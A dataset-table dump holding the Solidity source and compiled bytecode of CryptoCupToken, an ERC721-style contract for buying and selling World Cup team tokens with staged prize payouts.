address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0xfef1595da2bba952fe13003dce7ad32d991c6e2f
|
pragma solidity ^0.4.21;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC721 {
// Required methods
function approve(address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
}
contract CryptoCupToken is ERC721 {
// evsoftware.co.uk
// cryptocup.online
/*****------ EVENTS -----*****/
event TeamSold(uint256 indexed team, address indexed from, uint256 oldPrice, address indexed to, uint256 newPrice, uint256 tradingTime, uint256 balance, uint256 lastSixteenPrize, uint256 quarterFinalPrize, uint256 semiFinalPrize, uint256 winnerPrize);
event PrizePaid(string tournamentStage, uint256 indexed team, address indexed to, uint256 prize, uint256 time);
event Transfer(address from, address to, uint256 tokenId);
/*****------- CONSTANTS -------******/
uint256 private startingPrice = 0.001 ether;
uint256 private doublePriceUntil = 0.1 ether;
uint256 private lastSixteenWinnerPayments = 0;
uint256 private quarterFinalWinnerPayments = 0;
uint256 private semiFinalWinnerPayments = 0;
bool private tournamentComplete = false;
/*****------- STORAGE -------******/
mapping (uint256 => address) public teamOwners;
mapping (address => uint256) private ownerTeamCount;
mapping (uint256 => address) public teamToApproved;
mapping (uint256 => uint256) private teamPrices;
address public contractModifierAddress;
address public developerAddress;
/*****------- DATATYPES -------******/
struct Team {
string name;
string code;
uint256 cost;
uint256 price;
address owner;
uint256 numPayouts;
mapping (uint256 => Payout) payouts;
}
struct Payout {
string stage;
uint256 amount;
address to;
uint256 when;
}
Team[] private teams;
struct PayoutPrizes {
uint256 LastSixteenWinner;
bool LastSixteenTotalFixed;
uint256 QuarterFinalWinner;
bool QuarterFinalTotalFixed;
uint256 SemiFinalWinner;
bool SemiFinalTotalFixed;
uint256 TournamentWinner;
}
PayoutPrizes private prizes;
/*****------- MODIFIERS -------******/
modifier onlyContractModifier() {
require(msg.sender == contractModifierAddress);
_;
}
/*****------- CONSTRUCTOR -------******/
constructor() public {
contractModifierAddress = msg.sender;
developerAddress = msg.sender;
// Initialse Prize Totals
prizes.LastSixteenTotalFixed = false;
prizes.QuarterFinalTotalFixed = false;
prizes.SemiFinalTotalFixed = false;
}
/*****------- PUBLIC FUNCTIONS -------******/
function name() public pure returns (string) {
return "CryptoCup";
}
function symbol() public pure returns (string) {
return "CryptoCupToken";
}
function implementsERC721() public pure returns (bool) {
return true;
}
function ownerOf(uint256 _tokenId) public view returns (address owner) {
owner = teamOwners[_tokenId];
require(owner != address(0));
return owner;
}
function takeOwnership(uint256 _tokenId) public {
address to = msg.sender;
address from = teamOwners[_tokenId];
require(_addressNotNull(to));
require(_approved(to, _tokenId));
_transfer(from, to, _tokenId);
}
function approve(address _to, uint256 _tokenId) public {
require(_owns(msg.sender, _tokenId));
teamToApproved[_tokenId] = _to;
emit Approval(msg.sender, _to, _tokenId);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownerTeamCount[_owner];
}
function totalSupply() public view returns (uint256 total) {
return teams.length;
}
function transfer(address _to, uint256 _tokenId) public {
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public {
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
function destroy() public onlyContractModifier {
selfdestruct(contractModifierAddress);
}
function setDeveloper(address _newDeveloperAddress) public onlyContractModifier {
require(_newDeveloperAddress != address(0));
developerAddress = _newDeveloperAddress;
}
function createTeams() public onlyContractModifier {
_createTeam("Russia", "RUS", startingPrice, developerAddress);
_createTeam("Saudi Arabia", "KSA", startingPrice, developerAddress);
_createTeam("Egypt", "EGY", startingPrice, developerAddress);
_createTeam("Uruguay", "URU", startingPrice, developerAddress);
_createTeam("Portugal", "POR", startingPrice, developerAddress);
_createTeam("Spain", "SPA", startingPrice, developerAddress);
_createTeam("Morocco", "MOR", startingPrice, developerAddress);
_createTeam("Iran", "IRN", startingPrice, developerAddress);
_createTeam("France", "FRA", startingPrice, developerAddress);
_createTeam("Australia", "AUS", startingPrice, developerAddress);
_createTeam("Peru", "PER", startingPrice, developerAddress);
_createTeam("Denmark", "DEN", startingPrice, developerAddress);
_createTeam("Argentina", "ARG", startingPrice, developerAddress);
_createTeam("Iceland", "ICE", startingPrice, developerAddress);
_createTeam("Croatia", "CRO", startingPrice, developerAddress);
_createTeam("Nigeria", "NGA", startingPrice, developerAddress);
_createTeam("Brazil", "BRZ", startingPrice, developerAddress);
_createTeam("Switzerland", "SWI", startingPrice, developerAddress);
_createTeam("Costa Rica", "CRC", startingPrice, developerAddress);
_createTeam("Serbia", "SER", startingPrice, developerAddress);
_createTeam("Germany", "GER", startingPrice, developerAddress);
_createTeam("Mexico", "MEX", startingPrice, developerAddress);
_createTeam("Sweden", "SWE", startingPrice, developerAddress);
_createTeam("South Korea", "KOR", startingPrice, developerAddress);
_createTeam("Belgium", "BEL", startingPrice, developerAddress);
_createTeam("Panama", "PAN", startingPrice, developerAddress);
_createTeam("Tunisia", "TUN", startingPrice, developerAddress);
_createTeam("England", "ENG", startingPrice, developerAddress);
_createTeam("Poland", "POL", startingPrice, developerAddress);
_createTeam("Senegal", "SEN", startingPrice, developerAddress);
_createTeam("Colombia", "COL", startingPrice, developerAddress);
_createTeam("Japan", "JPN", startingPrice, developerAddress);
}
function createTeam(string name, string code) public onlyContractModifier {
_createTeam(name, code, startingPrice, developerAddress);
}
function lockInLastSixteenPrize() public onlyContractModifier {
prizes.LastSixteenTotalFixed = true;
}
function payLastSixteenWinner(uint256 _tokenId) public onlyContractModifier {
require(prizes.LastSixteenTotalFixed != false);
require(lastSixteenWinnerPayments < 8);
require(tournamentComplete != true);
Team storage team = teams[_tokenId];
require(team.numPayouts == 0);
team.owner.transfer(prizes.LastSixteenWinner);
emit PrizePaid("Last Sixteen", _tokenId, team.owner, prizes.LastSixteenWinner, uint256(now));
team.payouts[team.numPayouts++] = Payout({
stage: "Last Sixteen",
amount: prizes.LastSixteenWinner,
to: team.owner,
when: uint256(now)
});
lastSixteenWinnerPayments++;
}
function lockInQuarterFinalPrize() public onlyContractModifier {
require(prizes.LastSixteenTotalFixed != false);
prizes.QuarterFinalTotalFixed = true;
}
function payQuarterFinalWinner(uint256 _tokenId) public onlyContractModifier {
require(prizes.QuarterFinalTotalFixed != false);
require(quarterFinalWinnerPayments < 4);
require(tournamentComplete != true);
Team storage team = teams[_tokenId];
require(team.numPayouts == 1);
Payout storage payout = team.payouts[0];
require(_compareStrings(payout.stage, "Last Sixteen"));
team.owner.transfer(prizes.QuarterFinalWinner);
emit PrizePaid("Quarter Final", _tokenId, team.owner, prizes.QuarterFinalWinner, uint256(now));
team.payouts[team.numPayouts++] = Payout({
stage: "Quarter Final",
amount: prizes.QuarterFinalWinner,
to: team.owner,
when: uint256(now)
});
quarterFinalWinnerPayments++;
}
function lockInSemiFinalPrize() public onlyContractModifier {
require(prizes.QuarterFinalTotalFixed != false);
prizes.SemiFinalTotalFixed = true;
}
function paySemiFinalWinner(uint256 _tokenId) public onlyContractModifier {
require(prizes.SemiFinalTotalFixed != false);
require(semiFinalWinnerPayments < 2);
require(tournamentComplete != true);
Team storage team = teams[_tokenId];
require(team.numPayouts == 2);
Payout storage payout = team.payouts[1];
require(_compareStrings(payout.stage, "Quarter Final"));
team.owner.transfer(prizes.SemiFinalWinner);
emit PrizePaid("Semi Final", _tokenId, team.owner, prizes.SemiFinalWinner, uint256(now));
team.payouts[team.numPayouts++] = Payout({
stage: "Semi Final",
amount: prizes.SemiFinalWinner,
to: team.owner,
when: uint256(now)
});
semiFinalWinnerPayments++;
}
function payTournamentWinner(uint256 _tokenId) public onlyContractModifier {
require (tournamentComplete != true);
Team storage team = teams[_tokenId];
require(team.numPayouts == 3);
Payout storage payout = team.payouts[2];
require(_compareStrings(payout.stage, "Semi Final"));
team.owner.transfer(prizes.TournamentWinner);
emit PrizePaid("Final", _tokenId, team.owner, prizes.TournamentWinner, uint256(now));
team.payouts[team.numPayouts++] = Payout({
stage: "Final",
amount: prizes.TournamentWinner,
to: team.owner,
when: uint256(now)
});
tournamentComplete = true;
}
function payExcess() public onlyContractModifier {
/* ONLY IF TOURNAMENT FINISHED AND THERE'S EXCESS - THERE SHOULDN'T BE */
/* ONLY IF TRADES OCCUR AFTER TOURNAMENT FINISHED */
require (tournamentComplete != false);
developerAddress.transfer(address(this).balance);
}
function getTeam(uint256 _tokenId) public view returns (uint256 id, string name, string code, uint256 cost, uint256 price, address owner, uint256 numPayouts) {
Team storage team = teams[_tokenId];
id = _tokenId;
name = team.name;
code = team.code;
cost = team.cost;
price = team.price;
owner = team.owner;
numPayouts = team.numPayouts;
}
function getTeamPayouts(uint256 _tokenId, uint256 _payoutId) public view returns (uint256 id, string stage, uint256 amount, address to, uint256 when) {
Team storage team = teams[_tokenId];
Payout storage payout = team.payouts[_payoutId];
id = _payoutId;
stage = payout.stage;
amount = payout.amount;
to = payout.to;
when = payout.when;
}
// Allows someone to send ether and obtain the token
function buyTeam(uint256 _tokenId) public payable {
address from = teamOwners[_tokenId];
address to = msg.sender;
uint256 price = teamPrices[_tokenId];
require(_addressNotNull(to));
require(from != to);
require(msg.value >= price);
Team storage team = teams[_tokenId];
uint256 purchaseExcess = SafeMath.sub(msg.value, price);
uint256 profit = SafeMath.sub(price, team.cost);
// get 15% - 5 goes to dev and 10 stays in prize fund that is split during knockout stages
uint256 onePercent = SafeMath.div(profit, 100);
uint256 developerAllocation = SafeMath.mul(onePercent, 5);
uint256 saleProceeds = SafeMath.add(SafeMath.mul(onePercent, 85), team.cost);
uint256 fundProceeds = SafeMath.mul(onePercent, 10);
_transfer(from, to, _tokenId);
// Pay previous owner if owner is not contract
if (from != address(this)) {
from.transfer(saleProceeds);
}
// Pay developer
if (developerAddress != address(this)) {
developerAddress.transfer(developerAllocation);
}
uint256 slice = 0;
// Increase prize fund totals
if (!prizes.LastSixteenTotalFixed) {
slice = SafeMath.div(fundProceeds, 4);
prizes.LastSixteenWinner += SafeMath.div(slice, 8);
prizes.QuarterFinalWinner += SafeMath.div(slice, 4);
prizes.SemiFinalWinner += SafeMath.div(slice, 2);
prizes.TournamentWinner += slice;
} else if (!prizes.QuarterFinalTotalFixed) {
slice = SafeMath.div(fundProceeds, 3);
prizes.QuarterFinalWinner += SafeMath.div(slice, 4);
prizes.SemiFinalWinner += SafeMath.div(slice, 2);
prizes.TournamentWinner += slice;
} else if (!prizes.SemiFinalTotalFixed) {
slice = SafeMath.div(fundProceeds, 2);
prizes.SemiFinalWinner += SafeMath.div(slice, 2);
prizes.TournamentWinner += slice;
} else {
prizes.TournamentWinner += fundProceeds;
}
// Set new price for team
uint256 newPrice = 0;
if (price < doublePriceUntil) {
newPrice = SafeMath.div(SafeMath.mul(price, 200), 100);
} else {
newPrice = SafeMath.div(SafeMath.mul(price, 115), 100);
}
teamPrices[_tokenId] = newPrice;
team.cost = price;
team.price = newPrice;
emit TeamSold(_tokenId, from, price, to, newPrice, uint256(now), address(this).balance, prizes.LastSixteenWinner, prizes.QuarterFinalWinner, prizes.SemiFinalWinner, prizes.TournamentWinner);
msg.sender.transfer(purchaseExcess);
}
function getPrizeFund() public view returns (bool lastSixteenTotalFixed, uint256 lastSixteenWinner, bool quarterFinalTotalFixed, uint256 quarterFinalWinner, bool semiFinalTotalFixed, uint256 semiFinalWinner, uint256 tournamentWinner, uint256 total) {
lastSixteenTotalFixed = prizes.LastSixteenTotalFixed;
lastSixteenWinner = prizes.LastSixteenWinner;
quarterFinalTotalFixed = prizes.QuarterFinalTotalFixed;
quarterFinalWinner = prizes.QuarterFinalWinner;
semiFinalTotalFixed = prizes.SemiFinalTotalFixed;
semiFinalWinner = prizes.SemiFinalWinner;
tournamentWinner = prizes.TournamentWinner;
total = address(this).balance;
}
/********----------- PRIVATE FUNCTIONS ------------********/
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
function _createTeam(string _name, string _code, uint256 _price, address _owner) private {
Team memory team = Team({
name: _name,
code: _code,
cost: 0 ether,
price: _price,
owner: _owner,
numPayouts: 0
});
uint256 newTeamId = teams.push(team) - 1;
teamPrices[newTeamId] = _price;
_transfer(address(0), _owner, newTeamId);
}
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return teamToApproved[_tokenId] == _to;
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
ownerTeamCount[_to]++;
teamOwners[_tokenId] = _to;
Team storage team = teams[_tokenId];
team.owner = _to;
if (_from != address(0)) {
ownerTeamCount[_from]--;
delete teamToApproved[_tokenId];
}
emit Transfer(_from, _to, _tokenId);
}
function _owns(address _claimant, uint256 _tokenId) private view returns (bool) {
return _claimant == teamOwners[_tokenId];
}
function _compareStrings (string a, string b) private pure returns (bool){
return keccak256(a) == keccak256(b);
}
}
|
0x60806040526004361061017f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680628e0f1b1461018457806301a682c1146102e55780630309c7f81461039457806306fdde03146103c1578063095ea7b3146104515780630feb172f1461049e5780631051db34146104be57806318160ddd146104ed57806319689e761461051857806319ee1f1c146105455780631b04803e146105ad57806323b872dd1461060457806330d15b0a1461067157806331574cdf146106885780636352211e146106f55780636d2666b91461076257806370a08231146107795780637345a3a2146107d057806383197ef0146107e757806391dbd4c3146107fe57806395d89b411461082b5780639a4b8fc9146108bb578063a9059cbb146108d2578063b143c9161461091f578063b2e6ceeb14610a17578063bcedb86c14610a44578063caccd7f714610a71578063d70ef96514610ac8578063fe03809314610b35578063ff70fa4914610b4c575b600080fd5b34801561019057600080fd5b506101af60048036038101908080359060200190929190505050610b8f565b6040518088815260200180602001806020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001838103835289818151815260200191508051906020019080838360005b8381101561023d578082015181840152602081019050610222565b50505050905090810190601f16801561026a5780820380516001836020036101000a031916815260200191505b50838103825288818151815260200191508051906020019080838360005b838110156102a3578082015181840152602081019050610288565b50505050905090810190601f1680156102d05780820380516001836020036101000a031916815260200191505b50995050505050505050505060405180910390f35b3480156102f157600080fd5b50610392600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610d44565b005b3480156103a057600080fd5b506103bf60048036038101908080359060200190929190505050610dd4565b005b3480156103cd57600080fd5b506103d6611135565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104165780820151818401526020810190506103fb565b50505050905090810190601f1680156104435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561045d57600080fd5b5061049c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611172565b005b6104bc60048036038101908080359060200190929190505050611242565b005b3480156104ca57600080fd5b506104d36117d3565b604051808215151515815260200191505060405180910390f35b3480156104f957600080fd5b506105026117dc565b6040518082815260200191505060405180910390f35b34801561052457600080fd5b50610543600480360381019080803590602001909291905050506117e9565b005b34801561055157600080fd5b5061055a611c4a565b604051808915151515815260200188815260200187151515158152602001868152602001851515151581526020018481526020018381526020018281526020019850505050505050505060405180910390f35b3480156105b957600080fd5b506105c2611cd9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561061057600080fd5b5061066f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611cff565b005b34801561067d57600080fd5b50610686611d4d565b005b34801561069457600080fd5b506106b360048036038101908080359060200190929190505050611def565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561070157600080fd5b5061072060048036038101908080359060200190929190505050611e22565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561076e57600080fd5b50610777611e9e565b005b34801561078557600080fd5b506107ba600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f1a565b6040518082815260200191505060405180910390f35b3480156107dc57600080fd5b506107e5611f63565b005b3480156107f357600080fd5b506107fc612064565b005b34801561080a57600080fd5b50610829600480360381019080803590602001909291905050506120fb565b005b34801561083757600080fd5b5061084061252e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610880578082015181840152602081019050610865565b50505050905090810190601f1680156108ad5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108c757600080fd5b506108d061256b565b005b3480156108de57600080fd5b5061091d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061260d565b005b34801561092b57600080fd5b506109546004803603810190808035906020019092919080359060200190929190505050612645565b60405180868152602001806020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825286818151815260200191508051906020019080838360005b838110156109d85780820151818401526020810190506109bd565b50505050905090810190601f168015610a055780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b348015610a2357600080fd5b50610a426004803603810190808035906020019092919050505061276a565b005b348015610a5057600080fd5b50610a6f600480360381019080803590602001909291905050506127df565b005b348015610a7d57600080fd5b50610a86612c3f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610ad457600080fd5b50610af360048036038101908080359060200190929190505050612c65565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b4157600080fd5b50610b4a612c98565b005b348015610b5857600080fd5b50610b8d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614036565b005b60006060806000806000806000600c89815481101515610bab57fe5b90600052602060002090600702019050889750806000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c565780601f10610c2b57610100808354040283529160200191610c56565b820191906000526020600020905b815481529060010190602001808311610c3957829003601f168201915b50505050509650806001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610cf55780601f10610cca57610100808354040283529160200191610cf5565b820191906000526020600020905b815481529060010190602001808311610cd857829003601f168201915b5050505050955080600201549450806003015493508060040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692508060050154915050919395979092949650565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610da057600080fd5b610dd08282600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b5050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e3257600080fd5b60001515600d60010160009054906101000a900460ff16151514151515610e5857600080fd5b6008600254101515610e6957600080fd5b60011515600560009054906101000a900460ff16151514151515610e8c57600080fd5b600c82815481101515610e9b57fe5b9060005260206000209060070201905060008160050154141515610ebe57600080fd5b8060040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600d600001549081150290604051600060405180830381858888f19350505050158015610f2d573d6000803e3d6000fd5b508060040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16827fa9df0576afe2fdae1326273cc40094c73c8204033b69899e1b7c4776914bee63600d600001544260405180806020018481526020018381526020018281038252600c8152602001807f4c617374205369787465656e0000000000000000000000000000000000000000815250602001935050505060405180910390a36080604051908101604052806040805190810160405280600c81526020017f4c617374205369787465656e00000000000000000000000000000000000000008152508152602001600d6000015481526020018260040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020014281525081600601600083600501600081548092919060010191905055815260200190815260200160002060008201518160000190805190602001906110c0929190614742565b506020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606082015181600301559050506002600081548092919060010191905055505050565b60606040805190810160405280600981526020017f43727970746f4375700000000000000000000000000000000000000000000000815250905090565b61117c3382614264565b151561118757600080fd5b816008600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35050565b600080600080600080600080600080600080600660008e815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169b50339a50600960008e81526020019081526020016000205499506112ac8b6142d0565b15156112b757600080fd5b8a73ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff16141515156112f257600080fd5b89341015151561130157600080fd5b600c8d81548110151561131057fe5b9060005260206000209060070201985061132a348b614309565b975061133a8a8a60020154614309565b9650611347876064614322565b955061135486600561433d565b945061136e61136487605561433d565b8a60020154614378565b935061137b86600a61433d565b92506113888c8c8f614396565b3073ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff16141515611405578b73ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f19350505050158015611403573d6000803e3d6000fd5b505b3073ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156114c657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f193505050501580156114c4573d6000803e3d6000fd5b505b60009150600d60010160009054906101000a900460ff16151561155f576114ee836004614322565b91506114fb826008614322565b600d60000160008282540192505081905550611518826004614322565b600d60020160008282540192505081905550611535826002614322565b600d6004016000828254019250508190555081600d60060160008282540192505081905550611648565b600d60030160009054906101000a900460ff1615156115d757611583836003614322565b9150611590826004614322565b600d600201600082825401925050819055506115ad826002614322565b600d6004016000828254019250508190555081600d60060160008282540192505081905550611647565b600d60050160009054906101000a900460ff161515611632576115fb836002614322565b9150611608826002614322565b600d6004016000828254019250508190555081600d60060160008282540192505081905550611646565b82600d600601600082825401925050819055505b5b5b600090506001548a10156116725761166b6116648b60c861433d565b6064614322565b905061168a565b6116876116808b607361433d565b6064614322565b90505b80600960008f8152602001908152602001600020819055508989600201819055508089600301819055508a73ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff168e7f8379f52c448c616e9ccd2b6eb23a3ba1860e22ae1819341d85fe3621cc9c2ebe8d85423073ffffffffffffffffffffffffffffffffffffffff1631600d60000154600d60020154600d60040154600d60060154604051808981526020018881526020018781526020018681526020018581526020018481526020018381526020018281526020019850505050505050505060405180910390a43373ffffffffffffffffffffffffffffffffffffffff166108fc899081150290604051600060405180830381858888f193505050501580156117c3573d6000803e3d6000fd5b5050505050505050505050505050565b60006001905090565b6000600c80549050905090565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561184857600080fd5b60001515600d60050160009054906101000a900460ff1615151415151561186e57600080fd5b600260045410151561187f57600080fd5b60011515600560009054906101000a900460ff161515141515156118a257600080fd5b600c838154811015156118b157fe5b90600052602060002090600702019150600282600501541415156118d457600080fd5b8160060160006001815260200190815260200160002090506119c7816000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119875780601f1061195c57610100808354040283529160200191611987565b820191906000526020600020905b81548152906001019060200180831161196a57829003601f168201915b50505050506040805190810160405280600d81526020017f517561727465722046696e616c000000000000000000000000000000000000008152506145fd565b15156119d257600080fd5b8160040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600d600401549081150290604051600060405180830381858888f19350505050158015611a41573d6000803e3d6000fd5b508160040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16837fa9df0576afe2fdae1326273cc40094c73c8204033b69899e1b7c4776914bee63600d600401544260405180806020018481526020018381526020018281038252600a8152602001807f53656d692046696e616c00000000000000000000000000000000000000000000815250602001935050505060405180910390a36080604051908101604052806040805190810160405280600a81526020017f53656d692046696e616c000000000000000000000000000000000000000000008152508152602001600d6004015481526020018360040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001428152508260060160008460050160008154809291906001019190505581526020019081526020016000206000820151816000019080519060200190611bd4929190614742565b506020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060608201518160030155905050600460008154809291906001019190505550505050565b600080600080600080600080600d60010160009054906101000a900460ff169750600d600001549650600d60030160009054906101000a900460ff169550600d600201549450600d60050160009054906101000a900460ff169350600d600401549250600d6006015491503073ffffffffffffffffffffffffffffffffffffffff163190509091929394959697565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611d098382614264565b1515611d1457600080fd5b611d1e82826146d6565b1515611d2957600080fd5b611d32826142d0565b1515611d3d57600080fd5b611d48838383614396565b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611da957600080fd5b60001515600d60010160009054906101000a900460ff16151514151515611dcf57600080fd5b6001600d60030160006101000a81548160ff021916908315150217905550565b60086020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006006600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611e9657600080fd5b809050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611efa57600080fd5b6001600d60010160006101000a81548160ff021916908315150217905550565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fbf57600080fd5b60001515600560009054906101000a900460ff16151514151515611fe257600080fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015612061573d6000803e3d6000fd5b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120c057600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561215a57600080fd5b60011515600560009054906101000a900460ff1615151415151561217d57600080fd5b600c8381548110151561218c57fe5b90600052602060002090600702019150600382600501541415156121af57600080fd5b8160060160006002815260200190815260200160002090506122a2816000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156122625780601f1061223757610100808354040283529160200191612262565b820191906000526020600020905b81548152906001019060200180831161224557829003601f168201915b50505050506040805190810160405280600a81526020017f53656d692046696e616c000000000000000000000000000000000000000000008152506145fd565b15156122ad57600080fd5b8160040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600d600601549081150290604051600060405180830381858888f1935050505015801561231c573d6000803e3d6000fd5b508160040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16837fa9df0576afe2fdae1326273cc40094c73c8204033b69899e1b7c4776914bee63600d60060154426040518080602001848152602001838152602001